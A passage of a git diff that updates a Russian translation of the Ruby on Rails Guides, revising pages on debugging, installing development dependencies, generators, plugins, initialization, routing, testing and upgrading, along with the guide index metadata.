"authenticity_token"=>"xhuIbSBFytHCE1agHgvrlKnSVIOGD6jltW2tO+P6a/ACjQ3igjpV4OdbsZjIhC98QizWH9YdKokrqxBCJrtoqQ==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, "commit"=>"Create Article"} +New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>false, "created_at"=>nil, "updated_at"=>nil} Article should be valid: true - Article Create (0.000443) INSERT INTO "articles" ("updated_at", "title", "body", "published", - "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', - 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') + (0.1ms) BEGIN + SQL (0.4ms) INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES ($1, $2, $3, $4, $5) RETURNING "id" [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs!!!"], ["published", "f"], ["created_at", "2017-08-20 11:53:10.010435"], ["updated_at", "2017-08-20 11:53:10.010435"]] + (0.3ms) COMMIT The article was saved and now the user is going to be redirected... -Redirected to # Article:0x20af760> -Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles] +Redirected to http://localhost:3000/articles/1 +Completed 302 Found in 4ms (ActiveRecord: 0.8ms) ``` Добавление дополнительного логирования, подобного этому, облегчает поиск неожиданного или необычного поведения в ваших логах. Если добавляете дополнительное логирование, убедитесь в разумном использовании уровней лога, для избежания заполнения ваших рабочих логов ненужными мелочами. @@ -365,7 +365,7 @@ Processing by ArticlesController#index as HTML 7 byebug 8 @articles = Article.find_recent 9 - 10 respond_to do |format| + 10 respond_to do |format| ``` @@ -482,8 +482,8 @@ Processing by ArticlesController#index as HTML 7 byebug 8 @articles = Article.find_recent 9 -=> 10 respond_to do |format| - 11 format.html # index.html.erb +=> 10 respond_to do |format| + 11 format.html # index.html.erb 12 format.json { render json: @articles } 13 end 14 end diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index ac000542..ab2502e7 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -19,24 +19,24 @@ Сложный способ -------------- -В случае, если вы не можете использовать Rails development box, вот шаги для создания среды разработки для ядра Ruby on Rails. +В случае, если нет возможности использовать Rails development box, вот шаги для создания среды разработки для ядра Ruby on Rails. ### Установите Git -Ruby on Rails использует Git для контроля кода. На [домашней странице Git](http://git-scm.com/) есть инструкции по установке. Также в сети есть ряд ресурсов, которые помогут познакомиться с Git: +Ruby on Rails использует Git для контроля кода. На [домашней странице Git](https://git-scm.com/) есть инструкции по установке. Также в сети есть ряд ресурсов, которые помогут познакомиться с Git: -* [Курс Try Git](http://try.github.io/) — это интерактивный курс, который научит вас основам. -* [Официальная документация](http://git-scm.com/documentation) довольно объемная, а также содержит несколько видео с основами Git. -* [Everyday Git](http://schacon.github.io/git/everyday.html) научит вас достаточному, чтобы работать с Git. -* [GitHub](http://help.github.com) предлагает ссылки на ряд ресурсов по Git. -* [Pro Git](http://git-scm.com/book) — это целая книга о Git с лицензией Creative Commons. +* [Курс Try Git](https://try.github.io/) — это интерактивный курс, который научит основам. +* [Официальная документация](https://git-scm.com/documentation) довольно объемная, а также содержит несколько видео с основами Git. +* [Everyday Git](https://schacon.github.io/git/everyday.html) научит достаточному, чтобы работать с Git. +* [GitHub](https://help.github.com) предлагает ссылки на ряд ресурсов по Git. +* [Pro Git](https://git-scm.com/book) — это целая книга о Git с лицензией Creative Commons. ### Клонируйте репозиторий Ruby on Rails Перейдите в папку, в которой вы хотите разместить исходный код Ruby on Rails (он создаст свою собственную поддиректорию `rails`), и запустите: ```bash -$ git clone git://github.com/rails/rails.git +$ git clone https://github.com/rails/rails.git $ cd rails ``` @@ -50,7 +50,7 @@ $ cd rails $ brew install sqlite3 ``` -В Ubuntu это делается так: +На Ubuntu это делается так: ```bash $ sudo apt-get install sqlite3 libsqlite3-dev @@ -93,7 +93,7 @@ $ bundle install --without db NOTE: Если вы хотите запустить тесты, использующие memcached, необходимо убедиться, что он у вас установлен и запущен. -Можно использовать [Homebrew](http://brew.sh/) для установки memcached на OS X: +Можно использовать [Homebrew](https://brew.sh/) для установки memcached на macOS: ```bash $ brew install memcached @@ -177,7 +177,7 @@ WARNING: Если вы работаете с кодом, вы _обязаны_ Чтобы запускать набор для MySQL и PostgreSQL, нам нужны их гемы. Сначала установите серверы, их клиентские библиотеки и их файлы для разработки. -На OS X можно выполнить: +На macOS можно выполнить: ```bash $ brew install mysql @@ -186,7 +186,7 @@ $ brew install postgresql Чтобы их запустить, следуйте инструкциям Homebrew. -В Ubuntu просто запустите: +На Ubuntu просто запустите: ```bash $ sudo apt-get install mysql-server libmysqlclient-dev @@ -253,34 +253,34 @@ $ bundle exec rake db:mysql:build $ sudo -u postgres createuser --superuser $USER ``` -и для OS X: +и для macOS: ```bash $ createuser --superuser $USER ``` -Затем нужно создать тестовые базы данных с помощью +Затем нужно создать тестовые базы данных с помощью: ```bash $ cd activerecord $ bundle exec rake db:postgresql:build ``` -Можно создать базы данных для обоих PostgreSQL и MySQL с помощью +Можно создать базы данных для обоих PostgreSQL и MySQL с помощью: ```bash $ cd activerecord $ bundle exec rake db:create ``` -Можно очистить базы данных с помощью +Можно очистить базы данных с помощью: ```bash $ cd activerecord $ bundle exec rake db:drop ``` -NOTE: Использование задачи rake для создания тестовых баз данных позволяет убедиться, что они имеют правильные кодировки и сортировки. +NOTE: Использование задачи Rake для создания тестовых баз данных позволяет убедиться, что они имеют правильные кодировки и сортировки. NOTE: Вы увидите следующее предупреждение (или локализованное предупреждение) при активации расширения HStore в PostgreSQL 9.1.x или ранее: "WARNING: => is deprecated as an operator". @@ -292,11 +292,11 @@ Action Cable использует Redis в качестве адаптера п #### Установка Redis из исходников -Документация Redis отговаривает от установки с помощью пакетных менеджеров, так как они обычно устаревшие. Установка из исходников и запуск сервера просто и хорошо документированы в [документации Redis](http://redis.io/download#installation). +Документация Redis отговаривает от установки с помощью пакетных менеджеров, так как они обычно устаревшие. Установка из исходников и запуск сервера просто и хорошо документированы в [документации Redis](https://redis.io/download#installation). #### Установка Redis из пакетного менеджера -В OS X можно запустить: +В macOS можно запустить: ```bash $ brew install redis @@ -304,7 +304,7 @@ $ brew install redis Следуйте инструкциям Homebrew чтобы его запустить. -В Ubuntu просто запустите: +На Ubuntu просто запустите: ```bash $ sudo apt-get install redis-server @@ -316,7 +316,7 @@ $ sudo apt-get install redis-server $ sudo yum install redis ``` -Если у вас Arch Linux, просто запустите: +Если используете Arch Linux, просто запустите: ```bash $ sudo pacman -S redis @@ -328,3 +328,36 @@ $ sudo systemctl start redis ```bash # portmaster databases/redis ``` + +### Настройка Active Storage + +При работе с Active Storage важно отметить, что следует устанавливать зависимости JavaScript во время работы над этим разделом кодовой базы. Чтобы установить эти зависимости, в системе должен быть доступен Yarn, пакетный менеджер Node.js. Предпосылкой для установки этого пакетного менеджера является установка [Node.js](https://nodejs.org). + +На macOS просто запустите: + +```bash +brew install yarn +``` + +На Ubuntu просто запустите: + +```bash +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list + +sudo apt-get update && sudo apt-get install yarn +``` + +На Fedora или CentOS просто запустите: + +```bash +sudo wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.repo + +sudo yum install yarn +``` + +Наконец, после установки Yarn нужно будет запустить следующую команду внутри директории `activestorage` для установки зависимостей: + +```bash +yarn install +``` diff --git a/source/engines.md b/source/engines.md index 12ebc674..eec14fa8 100644 --- a/source/engines.md +++ b/source/engines.md @@ -225,6 +225,9 @@ invoke test_unit create test/controllers/blorgh/articles_controller_test.rb invoke helper create app/helpers/blorgh/articles_helper.rb +invoke test_unit +create test/application_system_test_case.rb +create test/system/articles_test.rb invoke assets invoke js create app/assets/javascripts/blorgh/articles.js diff --git a/source/generators.md b/source/generators.md index 4d1adc84..6fa2a1f2 100644 --- a/source/generators.md +++ b/source/generators.md @@ -86,13 +86,15 @@ $ bin/rails generate generator initializer create lib/generators/initializer/initializer_generator.rb create lib/generators/initializer/USAGE create lib/generators/initializer/templates + invoke test_unit + create test/lib/generators/initializer_generator_test.rb ``` Вот только что созданный генератор: ```ruby class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path("templates", __dir__) + source_root File.expand_path('templates', __dir__) end ``` @@ -118,7 +120,7 @@ Usage: ```ruby class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path("templates", __dir__) + source_root File.expand_path('templates', __dir__) def copy_initializer_file copy_file "initializer.rb", "config/initializers/#{file_name}.rb" @@ -193,6 +195,9 @@ $ bin/rails generate scaffold User name:string invoke jbuilder create app/views/users/index.json.jbuilder create app/views/users/show.json.jbuilder + invoke test_unit + create test/application_system_test_case.rb + create test/system/users_test.rb invoke assets invoke coffee create app/assets/javascripts/users.coffee @@ -234,6 +239,8 @@ $ bin/rails generate generator rails/my_helper create lib/generators/rails/my_helper/my_helper_generator.rb create lib/generators/rails/my_helper/USAGE create lib/generators/rails/my_helper/templates + invoke test_unit + create test/lib/generators/rails/my_helper_generator_test.rb ``` Можно опробовать наш новый генератор, создав хелпер для продуктов: @@ -393,6 +400,9 @@ $ bin/rails generate scaffold Comment body:text invoke jbuilder create app/views/comments/index.json.jbuilder create app/views/comments/show.json.jbuilder + invoke test_unit + create test/application_system_test_case.rb + create test/system/comments_test.rb invoke assets invoke coffee create app/assets/javascripts/comments.coffee @@ -483,13 +493,13 @@ gem "devise", "1.1.5" Любые дополнительные опции, переданные в этот метод помещаются в конце строчки: ```ruby -gem "devise", git: "git://github.com/plataformatec/devise", branch: "master" +gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" ``` Вышеприведенный код поместит следующую строчку в `Gemfile`: ```ruby -gem "devise", git: "git://github.com/plataformatec/devise", branch: "master" +gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" ``` ### `gem_group` @@ -606,7 +616,7 @@ lib "special.rb", "p Rails.root" ```ruby lib "super_special.rb" do - puts "Super special!" + "puts 'Super special!'" end ``` @@ -615,7 +625,7 @@ end Создает файл Rake в директории `lib/tasks` приложения. ```ruby -rakefile "test.rake", "hello there" +rakefile "test.rake", 'task(:hello) { puts "Hello, there" }' ``` Этот метод также принимает блок: diff --git a/source/index.yml b/source/index.yml index dfe1ce54..847f7e67 100644 --- a/source/index.yml +++ b/source/index.yml @@ -33,32 +33,32 @@ pages: - title: Валидации Active Record path: active-record-validations file: active_record_validations.md - revision: 7892b717a801e40ee4db1ac6622d844ae6998132 - date: 05/06/2017 + revision: 8779e33a4bd87f2778ca74ab168cbf5b9f5032d0 + date: 17/08/2017 - title: Колбэки Active Record path: active-record-callbacks file: active_record_callbacks.md - revision: c8c16bf87f2a757ce52e13e60fd61a8597e1eadc - date: 25/07/2017 + revision: 58e971c2d1f89cccda4f7494b30635e041596b31 + date: 16/08/2017 - title: Связи Active Record path: active-record-associations file: association_basics.md - revision: 58de07f70def7b03e7941ecfe993980ca9c4acc7 - date: 10/06/2017 + revision: bc129f1be8e37b4e7ed22317871b1e66c2682410 + date: 08/08/2017 - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 3b308f3321bada45eaad78ee14219dd5d98106fb - date: 22/06/2017 + revision: b52849d42137b1b2c0b09a67babcbf858f501926 + date: 30/07/2017 - title: Active Record для PostgreSQL path: active-record-postgresql file: active_record_postgresql.md - revision: 927e98621983d33795a99434492c3bb8ee7cd764 - date: 27/06/2017 + revision: b52849d42137b1b2c0b09a67babcbf858f501926 + date: 30/07/2017 - title: Основы Active Model path: active-model-basics @@ -93,8 +93,8 @@ pages: - title: Роутинг в Rails path: rails-routing file: routing.md - revision: 9914964514fc43f6eadba06a47fccdf95b7806f7 - date: 17/07/2017 + revision: b1638a8cfa1cddeb9be27b1e34a3cce946204fa4 + date: 06/08/2017 - title: Расширения ядра Active Support path: active-support-core-extensions @@ -117,44 +117,44 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: c7dd4a7a9f20216091399a30a9750a8cf598798e - date: 25/05/2017 + revision: 51f03dab389add93ebac7336a84ef84a80a9461b + date: 08/08/2017 - title: Основы Active Job path: active_job_basics file: active_job_basics.md - revision: de499d6775efb433ff6b6ffb3503f67e18b54ee9 - date: 10/05/2017 + revision: 2f96912229b430ff2c44506b962164df1b66088a + date: 09/08/2017 - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: b47da9814a7eda7c8700614886e18ee89ec1d9e2 - date: 15/07/2017 + revision: 89ab59ea4dd9c060e9af31dd435a20e9a65a6f9a + date: 14/08/2017 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md - revision: dafe3f82cf3120b1e61ffdaa3c20e989c87c851f - date: 26/06/2017 + revision: 948c2c48df04e775e5b5a3da5f54e0d61299dc54 + date: 19/08/2017 - title: Отладка приложений на Rails path: debugging-rails-applications file: debugging_rails_applications.md - revision: aaa9a5b5d80f168e71593a75b06de94ab6129bca - date: 25/03/2017 + revision: e7c8e6391d3cdfbbed5bf7d33253d060a793fce7 + date: 20/08/2017 - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: a18cf23a9cbcbeed61e8049442640c7153e0a8fb - date: 14/07/2017 + revision: df94b863c2ff8f1bcf12e36ed8fc1419292668e7 + date: 07/08/2017 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md - revision: 6fbd405a2eb585591bb57de5adae71f890a24af3 - date: 22/06/2017 + revision: e42e8319c08188700c5c45a6623ca0067ea1f1ed + date: 20/08/2017 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview @@ -165,68 +165,68 @@ pages: - title: Asset Pipeline path: asset-pipeline file: asset_pipeline.md - revision: 019c7f92f09170f0f87105f544ae4eff49e83de7 - date: 17/06/2017 + revision: 948c2c48df04e775e5b5a3da5f54e0d61299dc54 + date: 19/08/2017 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: f006edeb940e8636bab012f098f0aa125c72c4a6 - date: 20/06/2017 + revision: 38a79124424da5c34a2275cfd45c828ac4a089b2 + date: 01/08/2017 - title: Engine для начинающих path: engines file: engines.md - revision: d4692c92c306184a5f96fff4b38f52e1fc3ee395 - date: 12/04/2017 + revision: 10765c047fc648f69c62eefe1529ee09cf786a43 + date: 15/08/2017 - title: Процесс инициализации в Rails path: initialization file: initialization.md - revision: 3a900a4e36761599661cb5993a9101f50b43bd1c - date: 16/07/2017 + revision: 0027629cf602cbac56a825f10da58da14d807761 + date: 20/08/2017 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading file: autoloading_and_reloading_constants.md - revision: b4038ab37ac4e869632238071a3d6714a152a0a5 - date: 27/02/2017 + revision: 102a765812b6cd5712d45dd94da58bc47844e593 + date: 21/08/2017 - title: Обзор Action Cable path: action-cable-overview file: action_cable_overview.md - revision: c096262f614a0c307f89691e9b8e976b3be3f89f - date: 25/03/2017 + revision: af954ddd54e2b720d84bbf781600a4ef30b0c345 + date: 08/08/2017 - title: Основы создания плагинов Rails path: plugins file: plugins.md - revision: b6b0c99ff3e8ace3f42813154dbe4b8ad6a98e6c - date: 31/05/2017 + revision: 87666e5411fa6d4e6fd82b24180de100e45f90c5 + date: 15/08/2017 - title: Rails on Rack path: rails-on-rack file: rails_on_rack.md - revision: 99209b4ec06b2f87b28de5bd7d02b6ed815994e6 - date: 20/05/2017 + revision: aa5e551eb8b8988f5e6430463f01d483b1bd9346 + date: 21/08/2017 - title: Создание и настройка генераторов Rails path: generators file: generators.md - revision: e062c961e9867b938d4e7a33a25a3de8d0fa67df - date: 18/06/2017 + revision: 60863eed51a6c9523522e59c024400003ab16903 + date: 21/08/2017 - title: Использование Rails для API-приложений path: api-app file: api_app.md - revision: ea37cb4cb456d2d2feb5b582f0efd53b80e8e5cd - date: 21/05/2017 + revision: 948c2c48df04e775e5b5a3da5f54e0d61299dc54 + date: 19/08/2017 - title: Вносим вклад в Ruby on Rails path: contributing_to_ruby_on_rails file: contributing_to_ruby_on_rails.md - revision: d48008f16438c2c9c9c7295f550568b82b95ef9e - date: 14/05/2017 + revision: a51c5bb1ab27c802fad9f7976a025dcc7154b7c1 + date: 21/08/2017 - title: Рекомендации по документированию API path: api_documentation_guidelines @@ -243,14 +243,14 @@ pages: - title: Рекомендации для руководств по Ruby on Rails path: development_dependencies_install file: development_dependencies_install.md - revision: 133236fa0a99ad18e573e1edc0e48f4f20a32f62 - date: 17/06/2017 + revision: 1450abcd19cbdb66cd6226d63fb8288b6dead312 + date: 19/08/2017 - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: a9c7eaea5d180ffd827cc9b34e173755af3df0c1 - date: 21/07/2017 + revision: 835246e622dc0431af3cb951db22ef78876006af + date: 17/08/2017 - title: Руководство по шаблонам приложения Rails path: rails-application-templates @@ -297,8 +297,8 @@ pages: - title: Заметки о релизе Ruby on Rails 5.0 path: 5_0_release_notes file: 5_0_release_notes.md - revision: 7718d470e9027fb1925237be65ba82f3ace660df - date: 20/02/2017 + revision: 948c2c48df04e775e5b5a3da5f54e0d61299dc54 + date: 19/08/2017 - title: Заметки о релизе Ruby on Rails 5.1 path: 5_1_release_notes diff --git a/source/initialization.md b/source/initialization.md index 7e6bfc4d..3a69bdb1 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -75,13 +75,15 @@ require 'bundler/setup' # Set up gems listed in the Gemfile. Стандартное Rails приложение зависит от нескольких гемов, а именно: +* actioncable * actionmailer * actionpack * actionview +* activejob * activemodel * activerecord +* activestorage * activesupport -* activejob * arel * builder * bundler @@ -105,7 +107,7 @@ require 'bundler/setup' # Set up gems listed in the Gemfile. Как только завершится `config/boot.rb`, следующим файлом, который будет затребован, является `rails/commands`, который помогает расширить псевдонимы. В нашем случае, массив `ARGV` просто содержит `server`, который будет передан дальше: ```ruby -require "rails/command" +require_relative "command" aliases = { "g" => "generate", @@ -138,7 +140,7 @@ module Rails::Command namespace = namespace.to_s namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace) namespace = "version" if %w( -v --version ).include? namespace - + if command = find_by_namespace(namespace) command.perform(namespace, args, config) else @@ -157,7 +159,7 @@ module Rails class ServerCommand < Base # :nodoc: def perform set_application_directory! - + Rails::Server.new.tap do |server| # Require application after server sets environment to propagate # the --environment option. @@ -269,7 +271,7 @@ def parse!(args) args, options = args.dup, {} option_parser(options).parse! args - + options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development" options[:server] = args.shift options @@ -480,6 +482,7 @@ require "rails" action_mailer/railtie active_job/railtie action_cable/engine + active_storage/engine rails/test_unit/railtie sprockets/railtie ).each do |railtie| diff --git a/source/plugins.md b/source/plugins.md index 9327e703..4bc8f773 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -62,7 +62,7 @@ $ rails plugin new --help ```ruby # yaffle/test/core_ext_test.rb -require 'test_helper' +require "test_helper" class CoreExtTest < ActiveSupport::TestCase def test_to_squawk_prepends_the_word_squawk @@ -92,14 +92,16 @@ Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s. Отлично - теперь мы готовы начать разработку. -В `lib/yaffle.rb` добавьте `require 'yaffle/core_ext'`: +В `lib/yaffle.rb` добавьте `require "yaffle/core_ext"`: ```ruby # yaffle/lib/yaffle.rb -require 'yaffle/core_ext' +require "yaffle/railtie" +require "yaffle/core_ext" module Yaffle + # Тут какой-нибудь код... end ``` @@ -108,7 +110,7 @@ end ```ruby # yaffle/lib/yaffle/core_ext.rb -String.class_eval do +class String def to_squawk "squawk! #{self}".strip end @@ -139,7 +141,7 @@ $ bin/rails console ```ruby # yaffle/test/acts_as_yaffle_test.rb -require 'test_helper' +require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase end @@ -148,10 +150,12 @@ end ```ruby # yaffle/lib/yaffle.rb -require 'yaffle/core_ext' -require 'yaffle/acts_as_yaffle' +require "yaffle/railtie" +require "yaffle/core_ext" +require "yaffle/acts_as_yaffle" module Yaffle + # Тут какой-нибудь код... end ``` @@ -160,7 +164,6 @@ end module Yaffle module ActsAsYaffle - # your code will go here end end ``` @@ -174,7 +177,7 @@ end ```ruby # yaffle/test/acts_as_yaffle_test.rb -require 'test_helper' +require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk @@ -256,12 +259,8 @@ module Yaffle module ActsAsYaffle extend ActiveSupport::Concern - included do - end - - module ClassMethods + class_methods do def acts_as_yaffle(options = {}) - # тут будет ваш код end end end @@ -315,10 +314,7 @@ module Yaffle module ActsAsYaffle extend ActiveSupport::Concern - included do - end - - module ClassMethods + class_methods do def acts_as_yaffle(options = {}) cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s end @@ -349,7 +345,7 @@ end ```ruby # yaffle/test/acts_as_yaffle_test.rb -require 'test_helper' +require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk @@ -384,19 +380,15 @@ module Yaffle extend ActiveSupport::Concern included do + def squawk(string) + write_attribute(self.class.yaffle_text_field, string.to_squawk) + end end - module ClassMethods + class_methods do def acts_as_yaffle(options = {}) cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s - include Yaffle::ActsAsYaffle::LocalInstanceMethods - end - end - - module LocalInstanceMethods - def squawk(string) - write_attribute(self.class.yaffle_text_field, string.to_squawk) end end end @@ -426,7 +418,7 @@ send("#{self.class.yaffle_text_field}=", string.to_squawk) Генераторы ---------- -Генераторы могут быть включены в ваш гем простым их добавлением в директорию lib/generators вашего плагина. Подробнее о создании генераторов смотрите в [руководстве по генераторам](/generators) +Генераторы могут быть включены в гем простым добавлением в директорию lib/generators плагина. Подробнее о создании генераторов смотрите в [руководстве по генераторам](/generators). Публикация вашего гема ---------------------- @@ -434,12 +426,12 @@ send("#{self.class.yaffle_text_field}=", string.to_squawk) Плагины в виде гемов, которые в текущий момент в разработке, могут с легкостью быть доступны из любого репозитория Git. Чтобы поделиться гемом Yaffle с другими, просто передайте код в репозиторий Git (такой как GitHub) и добавьте строчку в Gemfile требуемого приложения: ```ruby -gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' +gem "yaffle", git: "https://github.com/rails/yaffle.git" ``` После запуска `bundle install` функционал вашего гема будет доступен в приложении. -Когда гем будет готов стать доступным в виде формального релиза, он может быть опубликован на [RubyGems](http://www.rubygems.org). Подробнее о публикации гемов на RubyGems смотрите: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +Когда гем будет готов стать доступным в виде формального релиза, он может быть опубликован на [RubyGems](https://www.rubygems.org). Подробнее о публикации гемов на RubyGems смотрите: [Publishing Your First Ruby Gem](http://guides.rubygems.org/publishing) Документация RDoc ----------------- @@ -453,7 +445,7 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' * Как добавить функционал в приложение (несколько примеров обычных ситуаций использования) * Предупреждения, хитрости или подсказки, которые могут помочь пользователям и сохранить их время -Как только README готов, пройдитесь и добавьте комментарии rdoc ко всем методам, которые будут использовать разработчики. Также принято добавить комментарии '#:nodoc:' к тем частям кода, которые не включены в публичный API. +Как только README готов, пройдитесь и добавьте комментарии rdoc ко всем методам, которые будут использовать разработчики. Также принято добавить комментарии `#:nodoc:` к тем частям кода, которые не включены в публичный API. Как только ваши комментарии закончены, перейдите в директорию плагины и запустите: diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index e6f03840..ff93de2a 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -117,7 +117,7 @@ use ActionDispatch::Flash use Rack::Head use Rack::ConditionalGet use Rack::ETag -run MyApp.application.routes +run MyApp::Application.routes ``` Промежуточные программы по умолчанию, показанные здесь (и некоторые другие) описываются в разделе [Внутренние промежуточные программы](#internal-middleware-stack) ниже. @@ -293,7 +293,7 @@ TIP: Можете использовать любые из этих промеж ### Обучение Rack -* [Official Rack Website](http://rack.github.io) +* [Official Rack Website](https://rack.github.io) * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) ### Понимание промежуточных программ diff --git a/source/routing.md b/source/routing.md index f700e567..3e58c936 100644 --- a/source/routing.md +++ b/source/routing.md @@ -43,7 +43,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' и ваше приложение содержит код в контроллере: ```ruby -@patient = Patient.find(17) +@patient = Patient.find(params[:id]) ``` и такой в соответствующей вьюхе: @@ -412,7 +412,7 @@ resources :articles do end ``` -Также их можно использовать в любом месте внутри маршрутов, например, в вызове scope или namespace: +Также их можно использовать в любом месте внутри маршрутов, например, в вызове `scope` или `namespace`: ```ruby namespace :articles do diff --git a/source/security.md b/source/security.md index b78ee275..a6029326 100644 --- a/source/security.md +++ b/source/security.md @@ -1030,7 +1030,7 @@ Rails.application.secrets.some_api_key! # => вызовет KeyError: key not fo Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): -* Подпишитесь на [рассылку](http://groups.google.com/group/rubyonrails-security) о безопасности Rails. -* [Brakeman - сканер безопасности Rails](http://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. -* [Будьте в курсе о других уровнях приложений](http://secunia.com/) (у них тоже есть еженедельная рассылка). -* [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) +* Подпишитесь на [рассылку](https://groups.google.com/forum/#!forum/rubyonrails-security) о безопасности Rails. +* [Brakeman - сканер безопасности Rails](https://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. +* [Будьте в курсе о других уровнях приложений.](http://secunia.com/) (у них тоже есть еженедельная рассылка). +* [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). diff --git a/source/testing.md b/source/testing.md index 072cedbe..5a830b81 100644 --- a/source/testing.md +++ b/source/testing.md @@ -79,7 +79,7 @@ class ArticleTest < ActiveSupport::TestCase end ``` -Построчное изучение этого файла поможет вам ориентироваться в коде тестирования и терминологии Rails. +Построчное изучение этого файла поможет ориентироваться в коде тестирования и терминологии Rails. ```ruby require 'test_helper' @@ -335,9 +335,10 @@ Rails добавляет некоторые свои утверждения в * [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html) * [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html) * [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html) -* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html) * [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html) +* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html) * [`ActionDispatch::SystemTestCase`](http://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html) +* [`Rails::Generators::TestCase`](http://api.rubyonrails.org/classes/Rails/Generators/TestCase.html) Каждый из этих классов включает `Minitest::Assertions`, позволяя использовать все основные утверждения в наших тестах. @@ -416,7 +417,8 @@ You can run multiple files and directories at the same time: By default test failures and errors are reported inline during a run. Rails options: - -e, --environment ENV Run tests in the ENV environment + -w, --warnings Run with Ruby warnings enabled + -e, --environment Run tests in the ENV environment -b, --backtrace Show the complete backtrace -d, --defer-output Output test failures and errors after the test run -f, --fail-fast Abort test run on first failure or error diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 5e89a025..64489b58 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -223,7 +223,7 @@ Rails 5 добавляет возможность запускать задач ### `ActionView::Helpers::RecordTagHelper` перемещен в отдельный гем (record_tag_helper) -`content_tag_for` и `div_for` были убраны в пользу использования `content_tag`. Чтобы продолжить использовать это, добавьте гем `record_tag_helper` в свой Gemfile: +`content_tag_for` и `div_for` были убраны в пользу использования `content_tag`. Чтобы продолжить использование старых методов, добавьте гем `record_tag_helper` в свой Gemfile: ```ruby gem 'record_tag_helper', '~> 1.0' @@ -330,6 +330,10 @@ Rails 5 теперь поддерживает токены CSRF для форм ActiveSupport.to_time_preserves_timezone = false +### Изменения с сериализацией JSON/JSONB + +В Rails 5.0 изменено то, как атрибуты JSON/JSONB сериализованы и десериализованы. Теперь, если задать тип столбца, равный `String`, Active Record больше не будет превращать эту строку в `Hash` и будет вместо этого только возвращать строку. Это не ограничивается кодом, взаимодействующим с моделями, а также влияет на настройки столбца `:default` в `db/schema.rb`. Рекомендуется не задавать столбцы, равные `String`, а вместо этого передавать `Hash`, который будет автоматически преобразован в строку JSON и обратно. + (Upgrading from Rails 4.1 to Rails 4.2) Обновление с Rails 4.1 на Rails 4.2 --------------------------------------------------------------------------- @@ -406,7 +410,7 @@ end ```ruby # Установите `:info`, соответствующий текущему значению по умолчанию, или -# установите `:debug` для переключения в будущее значение по умолчанию. +# ecnfyjdbnt `:debug` для переключения в будущее значение по умолчанию. config.log_level = :info ``` diff --git 